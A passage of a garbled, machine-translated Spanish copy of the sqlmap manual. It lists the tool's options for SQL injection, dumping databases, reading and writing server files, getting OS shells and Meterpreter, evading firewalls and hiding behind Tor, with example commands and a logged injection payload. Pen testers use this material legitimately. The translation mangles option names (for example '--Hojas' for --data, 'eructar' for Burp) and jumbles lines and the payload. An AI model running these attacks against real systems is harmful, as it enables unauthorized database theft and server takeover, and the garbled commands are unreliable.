Sunteți pe pagina 1din 73

opciones:

-h, --help Muestra el mensaje de ayuda básica y de salida


hh Mostrar avanzadas mensaje de ayuda y termina
--version Muestra el número de versión del programa y salir
-v nivel detallado de verbosidad: 0-6 (por defecto 1)

Objetivo:
Al menos una de estas opciones tiene que ser proporcionado para definir la
objetivo (s)

Cadena de conexión DIRECTO -d para la conexión de base de datos directa


URL -u, --url URL = URL de destino (por ejemplo,

"http://www.site.com/vuln.php?id=1")
objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy
Webscarab
-x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml)
-m BULKFILE Escanear varios objetivos que figuran en un archivo de texto
solicitud HTTP REQUESTFILE carga -r desde un archivo
-g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino
-c opciones CONFIGFILE de carga de un archivo de configuración INI

Solicitud:
Estas opciones se pueden utilizar para especificar cómo conectarse a la
dirección URL de destino

--method = Usos del método de la fuerza del método HTTP dada (por ejemplo
PUT)
--Hojas = cadena de datos Los datos que se envía a través de la POST
--param-del .. = para caracteres utiliza do para dividir los valores de
parámetros
--cookie = valor de cookies HTTP cabecera Cookie
--cookie-del .. = COO de caracteres utilizado para dividir los valores de
cookie
--load-cookies = L .. El archivo que contiene las cookies en formato de
Netscape / wget
--drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta
--user-agent = valor de encabezado HTTP User-Agent-MAIL
El valor de uso cabecera --random-agent e seleccionado al azar HTTP User-
Agent
--host = valor de encabezado de host HTTP HOST
--referer = HTTP_REFERER valor de encabezado Referer
CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviad o-a:
127.0.0.1")
--headers = HEADERS cabeceras adicionale s (por ejemplo, "Accept-Lang uage: fr
\ nETag: 123")
De tipo --auth = AUTH .. HTTP tipo de autenticación (básica, implíc ita, NTLM
o PKI)
--auth-cred = AUTH .. HTTP credenciales de autenticación (nombre:
contraseña)
archivo de clave --auth-file = AUTH .. HTTP PEM autenticación de certificado
/ privada
--ignore-401 haga caso de error HTTP 401 (no autorizado)
--proxy = PROXY uso de un proxy para conectarse a la dirección URL de
destino
--proxy-CRED PRO = .. credenciales de autenticación del proxy (nombre:
contraseña)
--proxy-file = PRO .. Cargar lista de proxy de un archivo
--ignore-proxy Ignorar configuración de proxy por defecto del sistema
red anónima Tor --tor Uso
--tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto
--tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4
o SOCKS5)
--check-tor Compruebe si se utiliza adecuadamente Tor
--delay = RETRASO Retraso en segundos entre cada solicitud HTTP
--timeout = segundos tiempo de espera necesario antes de la conexión de
tiempo de espera (por defecto 30)

(por--retries = reintentos reintentos cuando los tiempos de espera de conexión


defecto 3)
--randomize = RPARAM cambiar aleatoriamente el valor de parámetro
determinado (s)
--safe-url = dirección URL SAFEURL visitar con frecuencia durante la prueba
--safe-post = datos seguros .. POST para enviar a una dirección URL segura
--safe-req = MÁS SEGURO .. Cargar solicitud HTTP a salvo de un archivo
--safe-freq = SAFE peticiones de prueba .. entre dos visitas a una URL
segura dada
--skip-urlencode Skip URL codificación de los datos de carga útil
--csrf-token = RSE .. parámetro se utiliza para mantener anti-CSRF token de
--csrf-url = dirección URL CSRFURL para visitar para extraer anti-CSRF token
de
Fuerza el uso --force-ssl de SSL / HTTPS
método de la contaminación parámetro --hpp Usar HTTP
--eval = EVALCODE Evaluar código Python proporcionado antes de la solicitud
(por ejemplo,
"Hashlib importación ; ID2 = hashlib.md5 (id) .hexdigest
()")

Mejoramiento:
Estas opciones se pueden usar para optimizar el rendimiento de sqlmap

-O Encienda todos los interruptores de optimización


--predict-salida Predecir salida de consultas comunes
--keep-alive Usar HTTP (s) persistente conexiones
--null conexión Recuperar longitud de página sin cuerpo de la respuesta HTTP
real
--threads = HILOS: Máximo de HTTP concurrente (s) solicitud (por defecto 1)

Inyección:
Estas opciones se pueden utilizar para especificar qué parámetros para
probar,
proporcionar cargas útiles de inyección de secuencias de comandos
personalizados y manipulación opcionales

parámetro comprobable TESTPARAME TER -p (s)


skip = prueba Saltar Saltar para el parámetro determinado (s)
--skip-estáticas
--dbms parámetros
= Fuerza DBMS de prueba
DBMS back-end Omitir
a este que no aparecen dinámico
valor
--dbms-cred = DBMS .. credenciales de autenticación DBMS (usuario:
contraseña)
--os = sistema operativo DBMS OS Fuerza a este valor
--invalid-bignum Utilice números grandes para invalidar los valores
Uso --invalid-lógica operaciones lógicas para invalidar los valores
--invalid-cadena utilizan cadenas aleatorias para invalidar los valores
--no-yeso Apague mecanismo de carga útil de colada
--no-fuga Apague cadena de mecanismo de escape
prefix = PREFIJO inyección cadena de carga útil prefijo
--suffix = SUFIJO inyección cadena de carga útil sufijo
--tamper = antisabotaje Uso escritura (s) dada para la manipulación de datos
de inyección

Detección:
Estas opciones se pueden utilizar para personalizar la fase de detección

--level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1)
--risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1)
--string = Cadena CADENA para que coincida cuando la consulta se evalúa como
True
--no-string = NO .. String para que coincida cuando la consulta se evalúa
como False
--regexp = EXPREG Regexp para que coincida cuando la consulta se evalúa como
True
--code = código HTTP código para que coincida cuando la consulta se evalúa
como True
--text de sólo Comparar páginas basándose únicamente en el contenido textual
Comparar --titles páginas basado sólo en sus títulos

técnicas:
Estas opciones se pueden utilizar para modificar las pruebas de inyección de
SQL específica
técnicas

técnicas de=inyección
--time-sec SQL --technique
segundos TIMESEC = TECHla(por
para retrasar defectode
respuesta "BEUSTQ")
DBMS (por
defecto 5)
--union-cols = UCOLS gama de columnas para la prueba de inyección de
consulta SQL UNION
--union-char = UCHAR carácter que se utilizará para la fuerza bruta número
de columnas
--union-from = UFROM tabla para utilizar en la inyección de una parte de la
consulta SQL UNION
--dns-domain = DNS .. nombre de dominio utilizado para el ataque
exfiltración DNS
--second-order = S .. Resultando URL de la página buscó la respuesta de
segundo orden

Huella dactilar:
-f, --fingerprint Realizar una extensa versión de DBMS huella digital

Enumeración:
Estas opciones se pueden utilizar para enumerar la base de datos back-end
la gestión del sistema de información, la estructura y los datos contenidos
en el
mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL

-a, --all Recuperar todo


-b, --banner Recuperar DBMS bandera
--current-user Recuperar DBMS usuario actual
--current-db Recuperar DBMS base de datos actual
--hostname Recuperar nombre del servidor DBMS
--is-dba detectar si el usuario actual DBMS es DBA
--users usuarios Enumerar DBMS
Enumerar --password s DBMS hashes de contraseñas de usuarios
Enumerar --privileg es DBMS derechos a los clientes
--roles papeles usuarios Enumerar DBMS
Enumerar --dbs bases de datos DBMS
--tables tablas de la base de Enumerar DBMS
Enumerar --columns DBMS columna s de las tablas de base de datos

Enumerar --schema esquema


--count Recuperar DBMS
número de entradas para la mesa (s)
--dump Dump DBMS entradas de la tabla de base de datos
--dump-all la descarga todas las bases de datos DBMS entradas mesas
--search columna de búsqueda (s), tabla (s) y / o el nombre de la base de
datos (s)
--comments Recuperar comentarios DBMS
-D base de datos DB DBMS para enumerar
-T tabla de base de TBL DBMS (s) para enumerar
columna de la tabla de base de datos -C COL DBMS (s) para enumerar
columna de la tabla de base de datos -X EXCLUDECOL DBMS (s) para no enumerar
-U USUARIO DBMS usuario para enumerar
--exclude-sysdbs Excluir las bases de datos del sistema DBMS al enumerar las
tablas
--pivot-columna = P .. nombre de la columna pivote
--donde = DUMPWHERE Uso condición WHERE mientras que el cuadro de dumping
--start = LIMITSTART entrada Primera salida de la consulta para recuperar
--stop = LIMITSTOP entrada de salida de la consulta para recuperar Última
--first = aPartirDe Primera consulta palabra de salida para recuperar el
carácter
--last = ultimocarac Última consulta carácter de palabra de salida para
recuperar
--sql-query = instrucción de consulta SQL que se ejecutará
Símbolo del --sql cáscara de una concha de SQL interactivo
--sql-file = SQLFile ejecutar sentencias SQL desde un archivo determinado
(s)

Fuerza bruta:
Estas opciones se pueden utilizar para realizar comprobaci ones de fuerza
bruta

--common-tables Comprobar la existencia de mesas comunes


--common-columns Comprobar la existencia de columnas comunes

definido por el usuario función de inyección:


Estas opciones se pueden usar para crear funciones definidas por el usuario
personalizados

--udf-inyectar
--shared-lib funciones
= shlib Ruta definidas
local de por el usuariocompartida
la biblioteca personalizados Inyectar

El acceso de archivos del sistema:


Estas opciones se pueden utilizar para acceder a la gestión de base de datos
back-end
sistema de sistema de archivos subyacente

--file-read = FICH_R Leer un archivo del sistema de archivos DBMS


--file-write = WFILE Escribir un archivo local en el sistema de archivos
DBMS
--file-dest = DFILE back-end DBMS ruta absoluta para escribir

Operando de acceso al sistema:


Estas opciones se pueden utilizar para acceder a la gestión de base de datos
back-end

sistema de sistema operativo subyacente


--os-cmd = OSCMD ejecutar un comando del sistema operativo
Símbolo del --os-shell para un shell del sistema operativo interactivo
Símbolo del --os-pwn de una cáscara fuera de banda, Meterpreter o VNC
--os-SMBRelay pronta Un clic para una cáscara fuera de banda, Meterpreter o
VNC
--os-BOF Procedimiento almacenado explotación de desbordamiento de búfer
--priv-esc proceso de base de datos de privilegios de usuario escalada
--msf-path = MSFPATH Ruta local donde está instalado Metasploit Framework
--tmp-path = Ruta remota TMPPATH absoluta del directorio de archivos
temporales

Ventanas de acceso al registro:


Estas opciones se pueden utilizar para acceder a la gestión de base de datos
back-end
Registro del sistema de Windows

--reg lectura Leer un valor de clave del registro de Windows


--reg-añadir
--reg-del los datos
Eliminar de Escribe
un valor un valor
de clave de clavededeWindows
del registro registro de Windows
--reg-clave = clave de registro de Windows regkey
--reg-valor = valor de la clave del registro de Windows REGVAL
--reg-data = registro de datos de valores clave de Windows Regdata
--reg-type = Registro de Windows RegType tipo de valor clave

General:
Estas opciones se pueden utilizar para establecer algunos parámetr os
generales de trabajo

-s sesión de archivo de sesión de carga de un archivo almacenado (.sqlite )


-t TRAFFICFILE Log todo el tráfico HTTP en un archivo de texto
--batch Nunca le pida a la entrada del usuario, utilice el comportamiento
predeterminado
--binary-fields = .. campos de Resultados que tienen valores binarios (por
ejemplo, "digerir")
--charset = codificación de caracteres CHARSET fuerza utilizada para la
recuperación de datos
--crawl
URL de = CRAWLDEPTH del arrastre de la página web a partir de la dirección
destino
--crawl-excluye = .. Regexp para excluir páginas de rastreo (por ejemplo,
"cerrar sesión")
--csv-del carácter = CSVDEL Delimitación utilizado en CSV de salida (por
defecto ",")
--dump-format = DU .. Formato de los datos objeto de dumping (CSV (por
defecto), HTML o SQLITE)
Pantalla --eta para cada salida de la hora estimada de llegada
--flush-sesión Lavar los archivos de sesión para el objetivo actual
--forms analizar y formas de prueba en dirección URL de destino
--fresh-consultas Ignorar resultados de la consulta almacenado s en el
archivo de sesión
--hex función hexagonal Uso DBMS (s) para la recuperación de datos
--output-dir = OUT .. encargo ruta del directorio de salida
--parse-errors analizar y mostrar mensajes de error de DBMS de respuestas

--save
--scope==saveconfig Guardar
ALCANCE Regexp las opciones
a metas endeunregistro
de filtro archivo de configuración INI
de proxy
proporcionado
--test-filter = TE .. seleccionar pruebas de cargas y / o títulos (por
ejemplo FILA)
--test-skip = PRUEBA .. Pasar las pruebas de cargas y / o títulos (por
ejemplo de referencia)
--update actualización sqlmap

Diverso:
Mnemotécnicos -z Utilice mnemotécnico s cortos (por ejemplo, "la gripe, el
palo, prohibición, tec = UE")
--alert = ALERTA Ejecutar comandos del sistema operativo anfitrión (s)
cuando se encuentra de inyección SQL
--answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar
de fumar = N, N = siga")
ni --beep ni Tono en cuestión y / o cuando se encuentra de inyección SQL
--cleanup Limpiar el DBMS de sqlmap UDF y tablas específicas
--dependencies Compruebe si faltan (no básicos) dependencias sqlmap
--disable-colorante
--gpage = GooglePage salida
Uso de de la consola
Google Desactivarde número de página
dork resultados
especificado
--identify-WAF Haga una prueba a fondo para una protección WAF / IPS / IDS
--skip-WAF Omitir detección heurística de la protección WAF / IPS / IDS
Imitar --mobile teléfono inteligente a través de encabezado HTTP User-Agent
Trabajo --offline en el modo fuera de línea (sólo utilizar los datos de
sesión)
--page-ranking página de visualización (PR) para los resultados de Google
dork
--purge-salida Extracción segura de todo el contenido de un directorio de
salida
Llevar a cabo pruebas exhaustiva s --smart sólo si heurística positiva (s)
Símbolo del --sqlmap cáscara de una concha sqlmap interactivo
--wizard interfaz de asistente simple para los usuarios principian tes

verbosidad de salida
Opción: -v
Esta opción se puede utilizar para ajustar el nivel de verbosidad de los mensajes
de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
se muestran información, advertencia de error, los mensajes críticos y los rastreos
de Python (en su caso se producen).
 0 : Mostrar solamente las trazas de retorno de Python, errores y mensajes críticos.
 1 : Show también la información y mensajes de advertencia.
 2 : Show también depurar mensajes.
 3 : Show también cargas útiles inyectado.
 4 : Show también las peticiones HTTP.
 5 : Show también las cabeceras de las respuestas HTTP.
 6 : Show también contenido de la página respuestas HTTP.

Un
bajonivel razonable
el capó de nivel
es de nivel de detalle para comprender mejor lo que hace sqlmap
2 , principalmente para la fase de detección y las
funcionalidades de adquisición. Mientras que si quieres ver las cargas útiles de las
herramientas de SQL envía, el nivel 3 es su mejor opción. También se recomienda
este nivel para ser utilizado cuando se alimenta a los desarrolladores con un
potencial de informe de error, asegúrese de que se envía junto con la salida
estándar del archivo de registro de tráfico generado con la opción -t . Con el fin de
depurar aún más las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.

Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).

Conexión directa a la base de datos


Opción: -d
Ejecutar sqlmap contra una sola instancia de base de datos. Esta opción acepta
una cadena de conexión en una de las siguientes formas:
 DBMS: // USUARIO: CONTRASEÑA @ DBMS_IP: DBMS_PORT / DATABASE_NAME (MySQL,
Oracle, Microsoft SQL Server, PostgreSQL, etc.)
 DBMS: // DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

Por ejemplo:
sqlmap.py $ pitón -d "mysql: // Administrador: admin@192.168.21.17: 3306 /
testdb" -f --bann \
er --dbs --users

URL de destino
Opción: -u o --url
Ejecutar sqlmap contra una sola dirección URL de destino. Esta opción requiere
una dirección URL de destino en forma siguiente:
http (s): // TargetURL [: puerto] / [...]
Por ejemplo:
$ Python sqlmap.py -u "http://www.target .com/vuln.php?id=1" -f --banner --dbs -
\
-Los usuarios

Analizar los objetivos de eructar o registros de


proxy Webscarab

En lugar-l
Opción: de proporcionar una única dirección URL de destino, es posible probar e
inyectar en contra de las peticiones HTTP proxy a través de proxy eructar o proxy
de Webscarab . Esta opción requiere un argumento que es peticiones HTTP de
proxy del archivo de registro.

Analizar los objetivos del archivo de mapa del sitio


remoto (.xml)
Opción: -x
Un mapa del sitio es un archivo en el que los administradores de web pueden
enumerar los lugares de la página web de su sitio para decirle a los motores de
búsqueda sobre la organización del contenido del sitio. Puede proporcionar la
ubicación de un mapa de sitio para sqlmap utilizando la opción -x (por ejemplo, -x
http://www.target.com/sitemap.xml ) por lo que podría encontrar las direcciones
URL de destino utilizables para fines de exploración.

Escanear múltiples objetivos alistados en un


archivo de texto dado
Opción: -m
lista de direcciones URL de destino alistados en un archivo dado mayor
proporcionando, sqlmap explorará cada uno de los uno por uno.
el contenido de ejemplo de un archivo de mayor proporcionado como argumento
para esta opción:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

solicitud de carga HTTP desde un archivo


Opción: -r
Una de las posibilidades es de sqlmap carga de petición HTTP prima a partir de un
archivo de texto. De esa manera se puede omitir el uso de un número de otras
opciones (por ejemplo, instalación de cookies, Publicado datos, etc.).
el contenido de ejemplo de un archivo de solicitud HTTP proporcionada como
argumento para esta opción:
POSTAL /vuln.php HTTP / 1.1
Anfitrión: www.target.com
User-Agent: Mozilla / 4.0

id = 1
Tenga en cuenta que si la solicitud es a través de HTTPS, puede utilizar esto en
conjunto con el interruptor --force-SSL para forzar la conexión SSL a 443 /
tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrión valor de
encabezado.

Resultados proceso de Google dork como


direcciones de destino
Opción: -g
También es posible poner a prueba e inyectar en GET parámetros basados en los
resultados de su idiota Google.
Esta opción hace que sqlmap negociar con el motor de búsqueda de su cookie de
sesión para poder llevar a cabo una búsqueda, a continuación, sqlmap recuperará
Google primeros 100 resultados de la expresión idiota Google con GET parámetros
que le pregunta si desea probar e inyectar en cada posible URL afectada .
Por ejemplo:
$ Python sqlmap.py -g "inurl: \". Php? Id = 1 \ ""

opciones de carga de un archivo de configuración


INI
Opción: -c
Es posible pasar opciones de usuario desde un archivo INI de configuración, un
ejemplo essqlmap.conf .
Tenga en cuenta que si usted proporciona otras opciones de línea de comandos,
los que son evaluados cuando se ejecuta sqlmap y sobrescribir los previstos en el
archivo de configuración.

Solicitud
Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección
URL de destino.
método HTTP
Opción: --method
sqlmap detecta automáticamente el método HTTP adecuado para ser utilizado en
las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el
uso de método HTTP específica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opción (por ejemplo --method =
PUT ).

datos HTTP
Opción: --Hojas
Por defecto, el método HTTP utilizado para realizar peticiones HTTP es GET , pero
se puede cambiar de forma implícita a PUBLIQUE proporcionando los datos a ser
enviados en los POST desolicitudes. Tales datos, siendo estos parámetros, se
prueban para la inyección de SQL, así como las previstas GET parámetros.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/ vuln.php" --Hojas = "id = 1" f --
banne \
r --dbs --users

carácter división parámetro


Opción: --param-del
Hay casos en los parámetros por defecto delimitador (por ejemplo, y en los datos
POST y GET) debe
adecuadamente ser sobrescrito
dividida por sqlmap
y cada parámetro para poder procesar
por separado.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target. com/vuln.php" --Hojas = "query =
foobar; id = \
1 "--param-del ="; "f --banner --dbs --users
HTTP Cookies cabecera
Las opciones y los interruptores: --cookie , --cookie-del , --load-cookies y --drop-
Set-Cookie
Estas opciones y modificadores se pueden utilizar en dos situaciones:
 La aplicación web requiere autenticación basándose en los cookies y usted tiene
este tipo de datos.
 Desea detectar y explotar de inyección SQL en dichos valores de cabecera.

De cualquier razón te lleva a necesita enviar las galletas con las peticiones
sqlmap, los pasos a seguir son los siguientes:
 Accede a la aplicación con su navegador favorito.
 Obtener la cookie HTTP de preferencias de tu navegador o desde la pantalla de
proxy HTTP y copiar al portapapeles.
 Vuelve a tu shell y ejecutar sqlmap pegando el portapapeles como valor de la
opción --cookie .

Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar
separados por una; carácter, no por una y . sqlmap puede reconocer éstos como
conjuntos separados deparámetro = valor demasiado, así como GET y POST de
parámetros. En caso de que el carácter de separación es distinto ; se puede
especificar utilizando la opción --cookie-del .
Si en cualquier momento durante la comunicación, la aplicación web responde
con Set-Cookie cabeceras, sqlmap utilizará automáticamente su valor en todas las
peticiones HTTP adicionales como la galleta de cabecera. sqlmap también
probará automáticamente estos valores para la inyección de SQL. Esto puede
evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorará
cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opción --
cookie y la URL de destino envía un HTTP Set-Cookie cabecera en cualquier
momento, sqlmap le preguntará qué conjunto de cookies para utilizar para las
siguientes solicitudes HTTP.
También hay una opción -cookies --load que se pueden utilizar para proporcionar
un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que también el HTTP Cookies cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 2 o superior. Lea a continuación
para más detalles.
HTTP User-Agent cabecera
Opción y el interruptor: --user-agente y --random-agente
Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de
encabezado:
sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)
Sin embargo, es posible que fingir con la opción --user-agente , proporcionando a
medida User-Agent como argumento de la opción.
Además, al proporcionar el interruptor --random-agente , sqlmap seleccionará al
azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo
para todas las peticiones HTTP dentro de la sesión.
Algunos sitios realizan una comprobación del lado del servidor de HTTP User-
Agent valor de encabezado y no logran la respuesta HTTP válida si un agente de
usuario no se proporciona, no se espera que su valor o en una lista negra por un
firewall de aplicaciones web o sistema de prevención de intrusiones similares. En
este caso sqlmap le mostrará un mensaje de la siguiente manera:
[Hh: mm: 20] [ERROR] la URL de destino responde con un código de estado HTTP
desconocido, trate de
forzar la cabecera HTTP User-Agent con la opción --user-agente o --random-agente

Tenga en de
inyección cuenta
SQLque
si eltambién el HTTP User-Agent cabecera se prueba contra la
--level se establece en 3 o superior. Lea a continuación
para más detalles.
HTTP Host cabecera
Opción: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto
HTTP Hostcabecera se analiza desde una dirección URL de destino previsto.
Tenga en cuenta que también el HTTP Host cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 5 . Lea a continuación para más
detalles.
HTTP Referer cabecera
Opción: --referer
Es posible falsificar el HTTP Referer valor de encabezado. Por
defecto no HTTP Referercabecera se envía en las solicitudes HTTP si no se
establece de manera explícita.
Tenga en cuenta que también el HTTP Referer cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 3 o superior. Lea a continuación
para más detalles.

cabeceras extra de HTTP


Opción: --headers
Es posible proporcionar cabeceras HTTP adicionales estableciendo la opción --
headers . Cada cabecera debe estar separado por un salto de línea y es mucho
más fácil para proporcionarles a partir del archivo INI de configuración. Puede
echar un vistazo a la muestra sqlmap.conf archivo para tal caso.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21.128/ sqlmap/mysql/get_int.php?id=1" -z \
"IGN, la gripe, el palo, tec = E" --headers = "Anfitrión: www.targe t.com \
Nuser-agent: Firefo x 1.0" -v 5
[...]
[Xx: xx: 44] [TRÁFICO OUT] petición HTTP [# 5]:
GET /sqlmap/mysql/g et_int.php? Id = 1% 20y% 20% 28SELECT% 209351% 20FROM%
28SELECT% 20C \
ONTAJE% 28% 2A% 29% 2CCONCAT% 280x3a616 1733a% 2C% 28SELECT% 20% 28CASE%
20Cuando% 20% 285 473% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20%
20% 20%
20% 20%
20% 20%
20% 20%
20% 2020% 20%\20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
% 20%
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 3D%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \

0%
20%20%
20%20%
20%20%
20%20%
20%20%
20%20%
20 20%
\ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201%
20ELSE% 200% 20END% 29% 29% 2C \
0x3a6c666d3a% 2CFLO OR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM%
20INFORMATION_SCHEMA.CHARA \
CTER_SETS% 20GROUP% 20BY% 20x% 29a%
29 HTTP / 1.1
Anfitrión: www.target.com
Accept-Encoding: gzip, desinfle
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * /
*; q = 0,8 Firefox 1.0
User-agent:
Conexión: cerrar
[...]

autenticación de protocolo HTTP


Opciones: de tipo --auth y --auth-CRED
Estas opciones se pueden utilizar para especificar los implementos HTTP del
servidor web autenticación del protocolo de back-end y las credenciales válidas
para ser utilizados para llevar a cabo todas las peticiones HTTP a la aplicación de
destino.
Los tres mecanismos de autenticación del protocolo HTTP soportados son:
 BASIC
 Digerir

NTLM

Mientras que la sintaxis de las credenciales 'es nombre de usuario: contraseña .


Ejemplo de sintaxis válida:
$ Python sqlmap.py -u "http:? //192.168.136.131/sq lmap/mysql/basic/get_int.php
ID \
= 1 "de tipo básico --auth --auth-CRED" testuser: testpass "

protocolo HTTP de autenticación de clave privada


Opción: --auth-archivo
Esta opción se debe utilizar en los casos en que el servidor web requiere
certificado de cliente adecuado y una clave privada para la autenticación. Valor
proporcionado debe ser un formato PEM key_file que contiene su certificado y
una clave privada.

No haga caso de error HTTP 401 (no autorizado)


Cambiar --ignore-401
En caso de que desee probar el sitio que de vez en cuando devuelve el error
HTTP 401 (no autorizado), mientras que desea ignorar y continuar las pruebas sin
proporcionar las credenciales adecuadas, puede utilizar el interruptor --ignore-401

HTTP (S) de proxy


Opciones y conmutador: --proxy , --proxy-CRED , --proxy-archivo y --ignore-proxy
Es posible proporcionar una dirección de proxy HTTP (S) para pasar por el HTTP
(S) solicita a la dirección URL de destino con la opción --proxy . La sintaxis de
HTTP (S) Valor proxy es http: // url: puerto .
Si el HTTP (S) proxy requiere autenticación, puede proporcionar las credenciales
en nombre de usuario: contraseña a la opción --proxy-CRED .
En el formato
caso dedesee
de que utilizar la lista de proxy (desechables), saltando a la
siguiente proxy en cualquier signo de un problema de conexión (por ejemplo, el
bloqueo de la dirección IP invasivo), opción --proxy-archivo puede ser utilizado por
proporcionar el nombre de archivo de un archivo que contiene lista mayor parte de
los proxies.
Cambiar --ignore-proxy se debe utilizar cuando se quiere ejecutar sqlmap contra
una pieza de destino de una red de área local haciendo caso omiso de la
configuración del servidor proxy de todo el sistema conjunto de HTTP (S).

red anónima Tor


Interruptores y opciones: --tor , --tor puertos , de tipo --tor y --check-tor
Si, por cualquier razón, es necesario permanecer en el anonimato, en lugar de
pasar por un servidor proxy HTTP único predefinido (S), se puede configurar
un cliente Tor , junto con Privoxy(o similar) en su máquina como se explica en las
guías --tor
sqlmapdeintentará
instalación de Tor .automáticamente
configurar A continuación, puede utilizardeunconexión
los ajustes interruptor
de proxy y
Tor.
En caso de que desee establecer manualmente el tipo y el puerto de los usados
proxy de Tor, puede hacerlo con opciones de tipo --tor y --tor-puerto (por
ejemplo, de tipo --tor = SOCKS5 --tor-puerto 9050 ) .
Se recomienda encarecidamente utilizar --check-tor de vez en cuando para
asegurarse de que todo se ha configurado correctamente. Hay casos en los
paquetes de Tor Vidalia (por ejemplo) vienen mal configurado (o restablecimiento
de la configuración establecida previamente) que le da una falsa sensación de
anonimato. El uso de este interruptor se sqlmap comprobar que todo funciona
como se esperaba mediante el envío de una única solicitud a un funcionario ¿Está
utilizando Tor? Página antes de cualquier solicitud de destino. En caso de que el
registro falla, sqlmap le advertirá y salir de forma abrupta.
Retardo entre cada petición HTTP
Opción: --delay
Es posible especificar un número de segundos que se mantenga entre cada
petición HTTP (S). El valor válido es un flotador, por ejemplo 0.5 significa la mitad
de un segundo. De manera predeterminada, no se establece ningún retardo.

Segundos de espera antes de la conexión de


tiempo de espera
Opción: --timeout
Es posible especificar un número de segundos de espera antes de considerar el
HTTP (S) solicitud ha caducado. El valor válido es un flotador, por ejemplo 10.5
significa diez segundos y medio. Por defecto 30 segundos se establecen.

El número máximo de reintentos cuando la


conexión HTTP tiempos de espera
Opción: --retries
Es posible especificar el número máximo de reintentos cuando los tiempos de
